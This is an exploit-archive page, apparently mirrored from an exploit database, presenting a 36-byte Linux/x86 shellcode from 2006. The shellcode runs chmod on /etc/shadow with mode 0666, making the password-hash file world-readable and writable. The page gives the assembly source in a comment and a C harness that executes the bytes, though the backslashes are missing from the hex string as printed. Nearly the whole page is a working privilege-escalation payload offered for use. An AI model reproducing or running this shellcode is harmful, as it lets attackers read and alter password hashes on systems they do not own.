[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 chmod 0666 /etc/shadow 36 bytes
# Published : 2006-11-17
# Author : Kris Katterjohn
# Previous Title : linux/x86 add root user r00t with no password to /etc/passwd 69 bytes
# Next Title : linux/x86 forkbomb 7 bytes


/* By Kris Katterjohn 8/29/2006
 *
 * 36 byte shellcode to chmod("/etc/shadow", 0666) and exit for Linux/x86
 *
 * To remove exit(): Remove the last 5 bytes (0x6a - 0x80)
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *      xor edx, edx
 *
 *      push byte 15
 *      pop eax
 *      push edx
 *      push byte 0x77
 *      push word 0x6f64
 *      push 0x6168732f
 *      push 0x6374652f
 *      mov ebx, esp
 *      push word 0666Q
 *      pop ecx
 *      int 0x80
 *
 *      push byte 1
 *      pop eax
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "x31xd2x6ax0fx58x52x6ax77x66x68x64x6fx68"
               "x2fx73x68x61x68x2fx65x74x63x89xe3x66x68"
               "xb6x01x59xcdx80x6ax01x58xcdx80";

       (*(void (*)()) shellcode)();
}

// www.Syue.com [2006-11-17]